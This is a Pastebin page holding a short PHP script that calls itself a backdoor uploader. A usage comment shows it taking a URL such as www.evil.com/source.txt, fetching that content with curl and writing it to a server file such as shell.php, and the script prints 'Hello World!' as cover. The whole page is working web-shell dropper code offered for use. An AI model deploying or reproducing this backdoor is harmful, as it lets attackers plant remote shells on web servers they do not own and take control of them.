Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- <?php
- //php code to create uploader
- //how to use? backdoor.php?file=shell.php&name=www.evil.com/source.txt
- function class_x_i($x = ''){
- $urlset = isset($_GET['name']) ? trim($_GET['name']) : '';
- $filename = isset($_GET['file']) ? trim($_GET['file']) : '';
- $ch = curl_init('http://'.$urlset);
- curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
- $result = curl_exec($ch);
- file_put_contents($filename,$result);
- echo 'Hello World!';
- }
- class_x_i();
- ?>
Add Comment
Please, Sign In to add comment